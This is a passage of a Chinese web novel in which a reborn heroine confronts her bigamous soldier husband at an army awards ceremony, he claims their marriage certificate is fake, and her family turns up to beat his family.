可她熬过了三天三夜的硬座,熬过了难受的高反,激动敲响顾向南的房门时,却看到他大惊失色的脸以及对屋内女人的高声回应:“不是邻居,是个要饭的。”
要饭的。
姜念脸上甚至还挂着笑,心却像是被捅了千万刀。
她不敢置信地盯着顾向南,被他粗鲁地推出去,摔到了地上。
吴桂花带着顾家人风尘仆仆赶过来,几人扭着她拖去了河边,活活溺死在了河里。
顾向南甚至还把她的尸体绑上了重石沉到了水里,等被发现时,只剩下了一堆残缺的骨头。
濒死的窒息感仿佛就在眼前,姜念惊惧地睁开眼,这才发现她不知不觉的睡着了过去。
旁边的一个婶子正担忧地看着她:“同志你没事吧?”
婶子面相和善,怀中抱着个三四岁的小姑娘,姜念擦了擦满头的热汗:“我没事,谢谢婶子。”
“这有啥谢的,出门在外大家都相互帮助嘛,我是来部队随军的,你呢?”
没想到对方还是个军嫂,姜念也笑了笑:“我也是来部队找对象的,他三年没回家,我想给他个惊喜。”
这是姜念早就想好的计划。
她要继续装成深爱着顾向南的样子,先示弱再爆发,比她气势汹汹跑来捉奸效果更好。
毕竟这里是部队,顾向南待了三年的地方,不是她一张嘴顾向南就会乖乖认错,受罚的。
她需要很多人的支持,还需要**都站在她这一边,总之对付顾向南,她要利用能利用的一切。
“原来你也是军嫂啊,我也是从你这年纪过来的,最懂军嫂的苦了,”婶子安慰她,“这是我老家的梨子,很甜的,你吃个甜甜嘴,等下了火车马上就能见到你爱人了。”
姜念婉拒几次见推不过才接下来:“这是一点牛奶糖,给孩子甜甜嘴吧。”
“哎呦我们不要,这多贵重啊。”这可不是一毛钱一大把的糖块,上头还有好看的包装哩,得是从百货商店才能买到的,婶子可不敢收。
姜念把糖皮扒掉直接送到了小孩的嘴边:“吃吧,牛奶味的,可甜了。”
小女孩抱着手,抬头看妈妈。
都这样了再拒绝就没意思了,婶子笑了笑:“谢谢你啊,收着吧。”
小孩甜甜笑:“谢谢姐姐。”
可她还没接过来,牛奶糖就被旁边的熊孩子伸**了过去:“牛奶糖,我要吃!”
谁都没想到会发生这一幕,姜念拧眉:“把糖还给我。”
熊孩子的妈妈就抱着孩子坐在对面,见状翻了个白眼:“不就是一颗糖吗,你犯得着跟个孩子计较?”
“我再说一遍,把糖还给我,要不然后果自负。”
“哎呦我好怕呦,我就不给,”熊孩子把糖塞嘴里,挑衅看着姜念,“略略略,你有本事来抢啊,我妈说了,你们都是赔钱货,不配吃这么好的东西!”
“这是你自找的。”
姜念直接伸手抓住熊孩子的脸朝向他妈,另一手敲击他腹部的一个穴位。
“咳!”
随着咳的一声,沾满了口水的奶糖冲出来糊在了**头发上,粘稠的口水滴答下来掉进了他妈尖叫的嘴里。
“啊啊啊!”熊孩子妈妈气的连连作呕,“臭**,你给我等着,呕!你知道我是谁吗,就敢惹我!”
“呜呜,赔钱货你还我的糖!”
姜念眼神很冷:“糖不是在你妈头上吗,去吃啊。”
“噗嗤,哈哈!”
周围人忍不住笑出了声。
“同志说的好,小孩看到没,你妈头上的糖还没化呢,趁热乎赶紧吃。”
说这话的是隔壁座的一个小伙子,寸头白皮,笑起来吊儿郎当的,但很帅。
姜念认出了他,和顾向南在同一个团,跟他不对付,后来站在了裴淮州那边,帮了裴淮州不少忙。
她礼貌地冲他笑了笑
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,乍然对上姜念的笑颜,邵杰心跳有点失衡,这女同志眼里怎么还有还藏着星星呢,真好看啊。
等意识到盯着人家看的时间太长才点了点头,邵杰难得耳根子有点红。
姜念没放在心上,毕竟这会儿盯着她这边看的不止邵杰一个人。
她以为邵杰也是因为她教训熊孩子和熊家长解气才盯着她看的。
姜念这是美而不自知了,她一直在做针灸,每天都在掉体重,刚开始她还挺在意的,一天称好几次,但渐渐的也就习惯了。
现在的她只剩下一百五十斤,身材匀称,气血充足,她本来长得就更随风华绝代的老爸,而这个年代又不像后世那么审美畸形,她这样珠圆玉润的女孩子,走在人群里大家都要多看几眼。
见儿子真想过来吃糖,熊家长气狠了:“你完了,我大伯哥可是部队的大领导,平时最宠我儿子,你最好立马跟我道歉,要不然我让你吃不了兜着走!”
“你不是在意你男人吗,你要是乖乖把你包里所有的糖都给我儿子,说不定我还能考虑让我大伯哥给你男人提提官职……”
说着,就抱着手臂等着姜念吓得屁滚尿流地跟她道歉。
然而——
“噗嗤!”姜念直接笑出了声,“你说的是你大伯哥还是你男人啊,看你这么嚣张,不知道的还以为你大伯哥跟你有一腿呢才会这么听你的话!”
“你瞎说什么,看我不撕烂你的嘴!”
姜念抬手拦住她的手,眼神冰冷:“你打我一下试试,我男人可是跟我说过,我闯祸了他给我兜底,你呢,要是你大伯哥知道你仗着他在外头耍威风,会不会给你兜底?”
这话可精准踩到了她的尾巴,熊家长一想到自家大伯哥威严的样子,脸色青了白白了红,挣开手,抱着熊孩子去了另一节车厢:“这里人多,我给你留个面子,哼,你给我等着!”
大伯哥膝下没儿子,只要他认了自家耀祖当儿子,她还怕区区一个军属吗!
姜念灵光一闪,忽然勾唇:“呵呵,我男人叫顾向南,你给我记住了,不服来战!”
第三十五章 终于见到顾向南
“顾向南?你说你对象是顾向南?”邵杰表情古怪。
可顾向南不是早结婚三年了,儿子都生了吗?又从哪里冒出来一个对象?
会不会是同名同姓?
“对啊,你认识我们家向南?”
邵杰蹙眉:“认识倒是认识,但……”
“那太好了!”姜念惊喜打断他,声音足够让大家都听清:“顾!向!南!在部队里好吗?我婆婆说他出任务总受伤所以才三年末没能回家探亲,我在老家担心死他了。”
“但我作为家属又不能天天把他绑在裤腰带上,实在忍不住了才悄悄来了,我跟你保证绝对不打扰他,只要远远地看他一眼,知道他还平安我就心满意足了,立马就走,绝对不打扰他。”
姜念卑微的说着,把自己放在了最低的姿态,车里不少家属都感同身受,其余人也被感动了。
刚才的婶子抱着闺女叹了口气:“这年头都说嫁给当兵的光荣,可咱们家属心里的苦只有咱们自己知道,闺女啊,你这觉悟真是这个!”
她冲姜念竖了竖大拇指:“刚才听你说你男人要给你做靠山,这么有血气的同志肯定也在为你打拼着呢,说不定很快就能给你挣到个随军资格。”
“这边营长级别就能随军了,到时候你们小两口就不用再分隔两地了,”有人好奇问姜念,“是两口子吧,你生娃了没啊?”
“还没呢,我对象新婚第二天就回部队了,三年没回一次家。”
“那以后来了部队多生几个,孩子嘛,多多益善。”
姜念腼腆笑了笑:“谢谢婶子,不过顾向南的确很努力,我每次打电话他都在忙,我就怕他身子熬坏了,我心疼呀。”
“哈哈,小姑娘还害羞了,没事,你要相信咱们的人民子弟兵,相信你男人啊。”
“你男人叫顾向南啊?我回头让我家的给你打听打听,就算见不着人也能知道他的近况,到时候我跟你说。”
“那多谢嫂子了,我男人叫顾向南,在x团x营x队。”
“行,我记住了,等到了家属院我就告诉”
姜念特意重复了几遍,后来就连小孩子都知道顾向南有个三年没见的对象来找他了。
大概上天垂怜,姜念在下车前还救了个高烧惊厥的小孩,对方不是军属只是附近村里的村民,抱着死里逃生的独生女嚎啕大哭。
他们是一对中年夫妻,多年来就得了这么一个宝贝闺女要是闺女有个三长两短他们也活不下去了。
他们激动地要跟姜念磕头,姜念赶紧避开。
邵杰眼珠子转了转,对着两口子说:“你们这么做可没做到她心坎里,部队里要是有人被送锦旗就能给领导留下好印象,要不你们也送一个锦旗过去?就送给她对象顾向南?”
两口子迟疑:“可救我们的是这个女大夫啊,我们要感谢不需要送去部队吧?”
“哎呀,夫妻本来是一体,丈夫的荣耀也是妻子的荣耀,要是能让她对象因为她在领导面前留下好印象,还愁以后没随军资格吗?”
“你们这才是真的帮她呢。”
姜念收拾针灸盒子的动作一顿,嘴角微微勾起。
说实话,她也是救完人才想到送锦旗这个方法的,正想着如何顺势而为就听邵杰先她一步开了口,立马眼观鼻鼻观心,装没听见。
两口子对视一眼:“行,我们干了!”
“最好能把锦旗绕部队一周,见到谁就问顾向南在哪。”
“最重要的是,最好在见到顾向南之前先别提这位女同志的名字,就说感谢顾向南的爱人,”邵杰促狭的朝他们眨眼。
“等见到了大领导,你们再展开细讲,那冲击力,绝对杠杠的!”邵杰恶劣的嘿嘿一笑。
“记得要去部队医院送锦旗哦,那里领导最多了,见效快!”
哈哈骗他们的,顾向南结婚三年的对象白心柔就在部队医院工作呢,到时候……
他都不敢想那时候白心柔和顾向南两口子脸色有多精彩!
邵杰正笑着呢,不经意就对上了姜念含笑的双眼,微微一愣,眯起眼。
但再定睛看过去,姜念还是那副腼腆害羞的老实人样子,仿佛
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他察觉的同道中人气息只是个错觉。
姜念一路上都装憨卖乖,等下了火车后跟着部队的车到了营地,在车上自然是一阵自我介绍略过不谈。
但门口小战士没让姜念进去。
她虽然有介绍信能证明自己的身份,但她这种不请自来过来探亲的军属,在对象没出来接前,是不允许进去的。
但也个例外。
邵杰刚进去脚步一转又转了回来,在登记表上签了自己的名字,对着愣住的姜念说:“我跟你对象、……顾向南是一个营的,我带你进去吧。”
“好,谢谢你呀同志。”
“别这么客气,等会儿你别怨我就成,”邵杰看她一眼,“虽然对你很残忍,但知道真相总比被傻乎乎瞒着好。”
姜念明白他这是要搞事情,但她来就是要搞事情的啊,不知道有多乐意呢。
心里这么想,面上却适时露出一丝疑惑,满头雾水:“怎么了?”
“没事,等会儿你就瞧好吧。”
邵杰是准备搞事情,但没想到事情会搞得这么大。
等他们到了部队医院已经是一个小时后了,这才发现对方正在医院前的广场上开一年一度的表彰大会。
台下密密麻麻的人头,台上是正襟危坐的院领导们,就连部队大**和政委**都在。
会议马上开始,但现场早就人头攒动。
刚好,身为医生的白心柔就在台下。
而作为白心柔丈夫的顾向南赫然也在列。
隔着一段距离,邵杰看着骄傲站在人群里的两个人,不怀好意地吹了个口哨:“这下有好戏看了,待会儿好好看,别眨眼。”
姜念已经完全没心思回答他了,双眼死死盯着人模狗样,谈笑风生的顾向南身上。
这是她重生后第一次见到顾向南。
他比上一世更年轻更朝气蓬勃更英俊帅气,跟他旁边的站着的女同志站在一起,完全可以说是金童玉女,天作之合的一对。
可姜念浑身的细胞都在叫嚣着恶心!
转身直接干呕出声。
“脏**!”
第三十六章 你是来冒领功劳的吧!
“你没事吧?”邵杰扶住她。
姜念肚子里翻江倒海,冷冷抬起眼:“没事。”
这是她蛰伏已久的报复,她不会错过一眼。
大会开始,台上的领导发表讲话,很快到了嘉奖的环节,而作为年轻医生翘楚的白心柔自然排在第一位。
“恭喜你心柔,”顾向南笑的温柔,“我就知道你最厉害。”
白心柔大小姐脾气,哼了声:“别跟我来这套,你还没跟我解释呢,那个自称你爱人的电话到底是怎么回事?”
“你是躲出去做任务了,把我丢在家里被徐佳那个臭妮子嘲笑,你知不知道我现在出去都有人不坏好意思地跟我打听!”
白心柔越想越气,心里不禁埋怨起顾向南。
要知道她仗着家世和出色的才华能力在家属院里一直都是风云人物的,可现在竟然连大字不识一个的乡下大婶都敢嘲笑她了。
偏偏这关键时候,顾向南没在,她再怎么解释也都干巴巴的,没人信!
顾向南眼底划过一丝晦暗。
他没想到那天的电话内容还是被传了出去,更没料到这件事在家属院都传的沸沸扬扬。
他在外头执行任务执行的好好的却被岳父一个电话给骂了回来。
好在顾向南已经想好了对策,他无奈一笑。
“你还有脸笑!”
白心柔气的想打他,小手却被顾向南握住:“心柔,我是什么样的人你还不清楚吗?我整颗心装着的都是你。”
“我怎么可能爱上除了你之外的其他人?更不可能跟别的女同志结婚了,更何况,结婚三年,我什么时候骗过你?你难道宁愿相信流言蜚语都不相信咱们之间的感情吗?”
顾向南深情地看着白心柔,拽着她的手贴在胸口:“我是什么样的人,你不是最清楚吗?你摸一摸,这里面都是你,再没别人了。”
白心柔耳朵有点红,她本来就格外喜欢顾向南的这张俊脸,被他这样深情表白心顿时软了。
“咳,少跟我油腔滑调,你还没说呢,那电话到底是怎么回事?”
察觉到白心柔的动摇,顾向南苦恼地叹了口气:“打电话过来的人不过是我老家的一个远房亲戚,脑子有病,她的话怎么能信?”
“再说,我最不擅长撒谎了,这么大的事情,我能瞒你三年?”
“哼,这倒是,你那些私房钱前脚刚藏起来后脚就被我找到了。”白心柔想起那个电话只是捕风捉影的流言,要是真的,怎么可能只打一次过来?
还有她爸爸也透露过,顾向南马上就要升副团了,说不定是有人眼红他这么优秀才故意散播的流言。
这么想着,白心柔终于不再对顾向南冷着脸了:“我就信你这一次,要是让我知道你真在外面有了别的女人,就别怪我对你不客气,跟我爸告状让他削了你军功。”
顾向南急忙说:“不会的,心柔,我跟你保证,我绝对没有别的女人,这一生,也只会有你一位爱人。”
白心柔脸红捶他一下:“大庭广众的,也不害臊。”
小两口重归于好又是小别胜新婚,顿时黏黏糊糊地没眼看。
然而很快白心柔就笑不出来了。
“请问,顾向南的爱人同志在吗,我们是来给她送锦旗的。”
颁奖前,有两个村民局促地举着一面旗子出现在众人眼前。
上头的领导纷纷看过去,然后心照不宣的看向白心柔的爸爸白振国。
白振国被警卫员耳语几句,眼底浮现笑意,他微微点头,自然有人闻弦知雅意,主持人把两人带上了台。
那两口子看着下面乌泱泱的人,腿有点打哆嗦,但胸中又莫名升起巨大的激荡,这可是个好机会啊,为他们恩人扬名立万的绝佳时机!
于是他们洪亮地把火车上姜念救了他们家闺女的事重新说了一遍。
然后着重强调:“我们特意做了锦旗想谢谢那位医生。”
院长心情愉悦:“这都是我们作为医护人员的指责所在,就是不知道你们说的医生是谁?”
村民:“我们不知道她的名字,但她曾透露她是一名军属。”
“她就是x团x营x队的顾向南同志的爱人!”
众人顿时一片哗然,白振国嘴角难压,院长笑呵呵恭喜白振国:“虎父无犬女啊,白司令。”
“哪里哪里,小女能有这觉悟,也多亏了院里前辈们的教导。”
台下羡慕嫉妒的视线纷纷朝白心柔射过去。
白心柔有个司令爹就够大家伙羡慕的了,没想到在这样大会上还能出如此风头,真是让人眼红。
顾向南也喜出望外,台上的两个人提的可是他顾向南的名字,具体到团部营部都说出来了,台上可是有大领导在的啊,他这是入了领导们的眼啊!
这是多好的事!
他这次升副团本来还需要斟酌,没想到会有这神来一笔,肯定是板上钉钉了!<
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br>他激动地看向白心柔,却发现对方愣愣的,仿佛还在状况之外。
“回神了,这是高兴傻了吗,”顾向南好笑碰了碰妻子,“主持人让你上去领锦旗呢。”
白心柔眉头却紧紧皱了起来:“我没见过他们啊……也不记得在火车上救了人。”
“这有什么的,他们连我的详细信息都说出来了,肯定是你救的人太多所以记不清了,”顾向南笑着说,“快去吧,院长和爸爸也会为你自豪的。”
白心柔眼睛闪了闪。
反正她的确救过人,除了她还有谁是顾向南的爱人?
这个锦旗就该她去领的啊。
现场响起掌声,白心柔红光满面地上台,一路上受到了不少羡慕的注目礼,尤其是余光看到她的死对头徐佳脸色难看看着她,心里更畅快了。
特意在她面前停下显摆:“徐佳你也在啊,我的锦旗又比你多一个了,不过你以后好好表现,肯定也能再得到一个的,就是不知道能不能也在这样大会上被亲自送来了。”
徐佳气的脸色发青:“小人得志。”
白心柔不屑地瞥了她一眼,傲气的登上了领导台。
台下,顾向南也被周围人恭贺着:“有妻如此夫复何求,这下你顾向南可是名声大噪了,真羡慕你能娶到这么优秀的爱人。”
团长也回头恭喜他。
“哈哈,心柔的确很优秀,我是沾了她的光了。”
顾向南想谦虚,奈何脸上张扬的笑意收都收不住,连眼高于顶,从来都看不上他的团长都恭维他了,这简直是他最扬眉吐气的时刻!
台上,白心柔也被院长和爸爸夸得飘飘然,美滋滋地站在那两人面前,伸出手想接过锦旗。
“救人是我的职责,你们太兴师动众了,不过还是谢谢你们啊。”
然而那两人却死死握紧了锦旗。
眼底满是困惑:“你是谁啊?那位顾向南同志的爱人不是你。”
这话被话筒清晰传到了台下四处,众人顿时响起一阵嘈杂。
白心柔嘴角一僵,这是什么意思?
“我就是顾向南的妻子……”
“同志你怎么能撒谎吗?你是来冒领功劳的吧,你今天有没有救过我闺女自己心里没数吗,救我们的人分明是……”
村民眼睛陡然跟走过来的姜念对上,然后惊喜喊道:“恩人,您终于来了!”
刷的一下,所有人的视线都顺着他们看了过去——
第三十七章 结婚证是假的
迎面走来一位珠圆玉润的女同志,虽然体态圆润但肤白貌美,十分明艳动人,比他们部队最漂亮的白心柔还要好看几分。
但惊艳过后,大家都很奇怪。
“他们喊她恩人,难道是这个女同志救了他们家小孩?”
“那肯定啊,人家能不认识自己的救命恩人吗?”
说话的人一脸微妙:“不过,他们口口声声说救他们的是顾向南的爱人啊,可他爱人不是白心柔吗?怎么又出来个陌生人?”
“难道是记错了?”
“啧啧,我就知道前阵子传的顾向南在老家已经娶了媳妇的事不是空穴来风,瞧瞧,人家正宫这不就找过来了?”
“嘶,这有好戏看了,你们快看顾向南的脸。”
顾向南在看到姜念那一瞬间,脑子就嗡的一声,跟见了鬼一样死死盯着她。
真的是姜念!
她不是被他爸妈困在老家吗,怎么会在这里?
还是在这么盛大的会议上如此高调的出现,要是被人发现了她和自己的关系,那他如今得到的这一切岂不是全完了?
一股寒意瞬间从脚底升到天灵盖,顾向南惊惧地攥起拳头,扭头就要走。
可他在众目睽睽之下怎么可能走得掉?
徐佳啧了声,阴阳怪气开腔:“顾向南,你跑什么啊?该不会是做了什么见不得人的亏心事要跑吧?”
她的声音很大,本来还没注意顾向南的人立马看过来。
顾向南僵在原地,察觉到四面八方的视线都落在了他的身上,让他胸口的恐惧越来越大,但……
想到之前姜念对自己言听计从的样子,顾向南故作淡定的转身:“你看错了,我只是起来活动一下而已。”
他一脸正气,再加上三年积累下来的口碑,大家虽然嘀咕但只以为这是一场乌龙。
台上的两口子看到姜念仿佛找到了主心骨一样,凑在呆滞的主持人话筒前:“这位就是救我们孩子的女英雄,也是顾向南同志的爱人,感谢您给了我们闺女第二次生命。”
这洪亮的感谢响彻整个广场,令刚才还热闹的广场骤然消音。
“你说谁是顾向南的爱人?”
白心柔不敢置信地问他们。
刚才还笑容满面的白振国鹰一般的眼神骤然落在脸色发白的顾向南身上,瞬间明白了什么,面沉如水。
院长笑容尴尬,识趣的没开口。
所有人的视线都跟着姜念慢慢移动,直到她走到了台下。
面对神情各异的领导们,姜念表现出恰到好处的歉意和腼腆之色。
“不好意思啊领导们,是我给你们惹麻烦了,我也没想到在火车救的小姑娘的家长这么热心,打扰了你们开大会。”
这次嘉奖大会可是有记者在拍的,他们以为还是跟以前一样走个程序就可以,却却没想到会在中途出现的变故。
他们纷纷打起精神纷纷围住了姜念:“这位同志,他们说你是顾向南同志的爱人,这是真的吗?”
姜念歪头疑惑:“当然是真的了,我爱人的确是x团x营x队的顾向南,我们三年前就在他老家松山县结了婚,但他部队的事情忙,结婚第二天就回了部队,我已经三年没见他了。”
“那你知道你的爱人在部队跟白司令的独女已经结婚生子了吗?”一个女记者尖锐的问。
“这怎么可能?”姜念好笑,“向南对我一心一意,怎么可能娶别人?”
“你再说一遍,娶你的男人叫什么名字?”白心柔面色扭曲,死死咬着牙问姜念。
姜念视线这才落在了白心柔身上,笑着一字一顿地说:“我爱人是顾向南,这位同志正好在台上,能帮我找找他吗?”
看着姜念这张昳丽明艳的笑脸,白心柔不知道为什么,只想撕烂她的这张脸!
白心柔动了动嘴唇,说不出一句话,抬头去看顾向南,眼里带火。
顾向南就知道躲不过去了,也不能躲。
于是他坦荡地上前。
姜念仿佛这才看到他,眼睛一亮,雀跃的奔向他,亲昵挽住他的手臂。
“顾向南,我总算见到你了,你放心,爸妈小姑子在家里都好好的,这三年我一直都听你的话,好好伺候他们呢!”
她语速极快,声音也够洪亮,丝毫不给顾向南打断的机会。
顾向南听到了人群**的议论声,记者震撼的吸气声。
“天,他们真是夫妻!”
顾向南饶是再淡定额头也不住的冒了冷汗,姜念偏偏还一个劲的往他身上凑,他烦躁地一挥手。
“哎呦。”姜念顺势倒在地上,一脸委屈地看着他,“向南,你怎么生气
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了?是我哪里做的不好吗?”
“你能不能看在我给你照顾了三年爸妈的份上,原谅我?”
这一摔可不得了了,再加上姜念煽风点火的话,记者们纷纷喊着顾向南家暴发妻,恼羞成怒不配为人,一边疯狂按着快门把顾向南冲糟糠之妻撒气的画面给拍了下来。
顾向南顿时一个头两个大,后悔推了她。
“姜念你闹了,我们只是亲戚,你从小脑子就不好使,不知道听了谁的挑拨故意来部队**,这些我都能原谅你,可你绝对不能开这种玩笑,我的妻子和爱人自始至终只有心柔一个人。”
顾向南深情地揽住白心柔,无奈地看向姜念:“如果你为了我好,就跟大家说明白,否则我的前途将会被你毁于一旦了。”
姜念一向以自己为先,哪怕自己三年不回家,随便找个借口都能糊弄姜念,她爱自己入骨,必定会先保住他的前途。
这也是为什么顾向南会如此淡定地上前对质的原因。
他笃定,姜念不会忤逆他。
可他的脸很快就被打肿了。
纯字面意思。
姜念死死咬着唇,一副万念俱灰的样子,随即爬起来,扬起巴掌狠狠扇在了顾向南的脸上。
啪的一声!
“顾向南,我对你那么好,你却出轨了别的女人,真让我恶心!”姜念哭着喊,在大家眼里,虽然被打的是顾向南,但姜念自己都快碎了。
姜念是抡圆了胳膊抽的人,这动作她在来的路上就演练了无数次,所以,顾向南不仅被扇出了鼻血还肿了脸。
“啊!向南你没事吧,你个疯女人,居然敢打他!”
白心柔冲上来要打姜念,结果也被她扇了一巴掌。
“你还敢打我?”
“你们这对奸夫**,我为何打不得?”
“你,我跟你拼了!”
白心柔冲上去跟姜念撕打,可姜念下手刁钻,她根本没占到一点便宜。
“够了!”白振国脸色阴沉的能滴水,看着顾向南的眼神恨不得把他剥皮抽骨,“这位女同志,你说跟顾向南是夫妻,有什么证明吗?”
姜念掏出结婚证:“我有这个。”
顾向南打了个寒颤,他绝对不能被岳父放弃,他脸色阴鸷,忽然大声:“这结婚证是假的,我没有出轨!”
第三十八章 老妖婆敢欺负我闺女!亲妈驾到
众人一片哗然。
“结婚证如果是假的,那顾向南不就没错了吗?”
“对啊,人家顾向南可是最有前途的营长,听说马上要晋升副团了,思想觉悟肯定高,怎么可能婚内出轨,犯这种低级的错误?”
“亏我还为这个骗子义愤填膺,真是浪费感情。”
姜念错愕地看向顾向南,没想到他大庭广众下还敢撒谎。
“这结婚证是在街道办事处的见证下,我们在民政局一起签的字盖的手印,怎么可能是假的?”
“我没有撒谎,姜念,你要是不信可以打开结婚证看一看,我的身份证,签的字和民政局盖的章都不是真的,从法律上讲,这所谓的结婚证只是一个摆设。”
看着他笃定的神情,姜念突然有了一种不详的预感。
他们结婚时,她才刚来红旗村几个月,对这边结婚的事宜都不熟悉,是顾向南自己说让她安心等着做新娘,其余的一切事都交给他。
那时的姜念满心满眼都是顾向南,他说什么自己就信什么。
之后,是顾向南找的街道主任,也是他带着自己去的民政局,还因为去的太早,天都没亮,只有一个工作人员。
但仔细想想,那个工作人员穿着的是保洁的衣裳,年纪还很大,流程也不熟练,盖章盖了好几次才盖对地方。
当时她很奇怪,问了顾向南,可后者只是含糊说是房间里光线不好才没看清。
她那时候沉浸在终于跟顾向南结婚的喜悦中并没有深究。
后来结婚证被顾向南收了起来,美其名曰这么重要的东西就要好好保存,还把它锁在了带锁的盒子里。
她自始至终都没想过结婚证居然是假的,所以离开红旗村时特意撬开了盒子带走了结婚证。
她把它当成了锤死顾向南的**锏。
可顾向南却说这不是真的?
姜念不敢去想如果是假的那该怎么办,定了定心神打开了结婚证,在看到上面的信息时,骤然捏紧了纸张。
犹如五雷轰顶,她脸上的血色瞬间褪去。
假的,假的!
竟然跟顾向南说的一样,这上面跟他有关的一切信息都是假的!
多么讽刺啊,这本困住了她一辈子的结婚证,居然是假的!
那她呢?
她就活该被蒙骗,被顾向南这个**子哄着守了一辈子的活寡,给顾家人当了一辈子的骡马吗!
姜念眼眶猩红,气的血气翻涌浑身发抖。
手里的能锤死顾向南的结婚证成了一个彻头彻尾的笑话。
白心柔一把抢过结婚证,欣喜地冲白司令点了点头:“爸爸,是假的,向南只有我一个爱人!”
顾向南无奈叹了口气:“三年前,你得了疯病,非得跟我结婚,我为了稳住你的病情才不得已做了**,还不嫌麻烦的把你接到家里照顾。”
他苦笑一声:“可我没想到当年的善心会得到这样的结果,姜念,你实在太令我失望了。
“早知道这样,我就不该对你那么好。”
三言两语,顾向南就把黑的说成了白的,局势反转,现在理亏的成了姜念。
姜念死死咬住了牙:“我没有疯病,你以为你说这是**就能行了吗,红旗村的老老少少都知道我是你的妻子,我伺候了你爸妈三年,这些都是真的!”
“谁说你伺候了我们三年,分明是我们累死累活的照顾了你三年!”
人群里陡然传出一道尖利的嗓音,姜念眼皮子重重一跳,回头一看,果然看到了风尘仆仆赶过来的吴桂花顾永福和顾晴三个人。
吴桂花一眨眼的功夫冲到姜念面前,直接一个巴掌打了过去。
姜念反应慢了一步,脸颊顿时一阵火辣辣的疼。
“你个贱蹄子,我们顾家人看你可怜才让向南跟你假领证,你倒好,竟然倒打一耙,给我儿子泼脏水,你良心都喂了狗吗!”
“桂花,你冷静点,这里是部队,有话好好说,”顾永福瘸着腿大义凛然的训斥吴桂花,对着台上几个领导弯腰,“对不住啊各位领导,姜念脑子不好使,给你们添麻烦了,但请你们看在她是个病人的份上,别跟她一般计较。”<
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br>吴桂花跺脚:“当家的,姜念那么祸害你儿子,你怎么还给她求情?”
顾永福皱眉:“虽然姜念做错了事,但这三年来我都习惯了,她疯起来都跟父母兄弟断绝了关系,咱们要再追究,她可真就太可怜了,好歹都是一个村的,咱们又何必赶尽杀绝呢?”
顾晴点头:“是啊,念念,部队不是你能胡闹的,咱们回家吧。”
说着还强硬的要拉姜念离开。
姜念被顾家人一唱一和得恶心得要吐:“我没病,没病!”
“是是是,你没病,咱们先回家。”顾晴敷衍的附和,顾永福也跟哄小孩子一样:“咱们回家,叔叔给你买最好吃的糖。”
姜念双拳难敌四掌,很快被顾晴和吴桂花控制住,期间她要撕扯附近的人,想让他们帮忙拦一下,可被吴桂花强硬的控制住双手。
“对不住啊大家,念念有狂躁症,一不顺心就发疯。”
被抓着的人嫌恶的躲开:“这不就是精神病吗,精神病可是会传染的,离我远点啊。”
“啧啧,亏我刚才还帮她说话呢,疯子的话怎么可能谁真的?”
“话又说回来,顾向南肯这么帮一个精神病,怎么可能做出有妻另娶这种事的,顾同志,对不住啊,刚才误会你了。”
有这一个带头,很快有人响应。
顾向南微微一笑:“我没事,只是做了好事却被冤枉,这滋味……”
顾向南无奈摇头,顿时让几个人更愧疚,也更埋怨姜念了。
姜念看着顾向南又风度翩翩地成了人群中的焦点,恨的眼眶猩红!
不是这样的,顾向南根本就是个**子!
姜念剧烈挣扎,想开口骂人却被吴桂花死死捂住了嘴巴。
吴桂花咬着牙在姜念耳边威胁:“**,等你回去有你好看的!”
“呜呜呜!”姜念气的发狠的挣扎。
就在姜念要被扭送走的时候,有人从后头狠狠拽住了吴桂花的头发,啪啪两个耳光全甩在了她脸上。
“老妖婆,敢欺负我闺女,我曹你妈!”
第三十九章 姜家人护犊子,姥姥掏出开国勋章!
变故发生在瞬间,姜念被舅舅家二表嫂扶住,不敢置信地看着眼前这一幕。
正抡圆了肩膀扇吴桂花嘴巴子的是她妈。
一脚把顾向南踹飞的是她爸跟她俩舅舅,逮着顾晴掐软肉扯头皮是大表嫂和表妹。
在顾永福倚老卖老哭天喊地时比他更快躺在地上哎呦哎呦的是她那八十岁的亲姥姥!
姜念难得愣住了。
不是,爸妈他们怎么来了啊!
虽然顾向南有功夫也有爸妈妹妹帮忙,但架不住他们老姜家摇人摇的多啊,乌泱泱得来了一大片!一人一口唾沫就能淹死这一家人!
最关键的是,他们光打还不够,还大声的数落顾向南犯下的种种罪行。
“敢说我闺女有病,我看你才有病,你们全家都有病!”
“你家的精神病能救活一个小孩吗?”
“我妹可是城里的知青,跟你们八竿子都打不着的关系,你居然还有脸说她是你的远房亲戚,你喊老子声爹,爹都不认你这孙子!”
“你爸妈明知道你们假结婚还那么磋磨我姐,给她喂猪饲料,抢她的手表钱票大半夜的逼她去地里给你们干活,还来这里宣扬你们照顾了我姐三年,我呸,不要脸的玩意儿,老子今天就弄死你们!”
“**!”
“啊啊啊!”
“呸,就你还当兵呢,用个**蒙骗良家妇女,什么军人,你分明就是个人贩子!”
“打死这个人贩子!”
吴桂花一巴掌,顾晴一巴掌,顾永福一巴掌,顾向南更是降龙十八掌!
至于白心柔早就在顾向南挨揍的时候跑远了。
眨眼间,刚才还趾高气昂的顾家人就被揍的鼻青脸肿。
“够了!”白振国脸色阴沉的能滴水,“这里不是菜市场,你们还愣着干什么,赶紧把他们分开!”
在场有不少军人,看热闹看嗨了被这一提醒才拖拖拉拉的去拉架。
为啥是拖拖拉拉,还不是因为人家姜家人说的在理吗?
人家姜念要是真有病,顾向南的解释就站得住脚了。
可人家可是实打实的救了人啊。
哪个有病的还能救人?
既然人家没病,那顾向南诓骗人家小姑娘跟他领**那就活该被打,要他们妹子碰上了这种婆家,屎都给他们打出来!
发生了这种事,大会匆匆结束,院长他们避嫌没跟上去,给他们腾了一间办公室。
屋里只有他们两家人,光姜家人就挤地满满当当。
另一小片是被揍得不成人样的顾家人,白心柔心疼的给顾向南上药。
顾向南两个眼睛都被打得青紫,嘴角也被打破了,被衣裳遮的地方更别提了,没一块好肉,被上药时,脸黑的跟锅底一样。
白心柔气狠了:“你们下手太狠了!看给我对象打的。”
姜小飞嚷嚷:“揍成这样都是轻的,以后我们见他一次就打他一次,呸,**!”
“你骂谁**!”
“你男人呦,”姜小飞翻了个白眼,“骂了他没骂你是不是?你也不是什么好鸟,现在知道着急了,刚才我们干仗的时候你不是溜的比谁都快吗?窝窝囊囊,和这**天生绝配!”
“你,爸,你看他!”
姜念姥姥呵了声:“你们部队的军人拐卖良家妇女,我还没跟你们领导要说法,你还告起状了,你就是这里最大的官吧?”
白振国阴着张脸:“我是为人民服务的党员,不是官。”
“那你准备怎么处理这件事?”
白振国慢慢扫了一圈姜家人,虽然五大三粗,但这里可是他的地盘。
于是轻描淡写地抿了口茶。
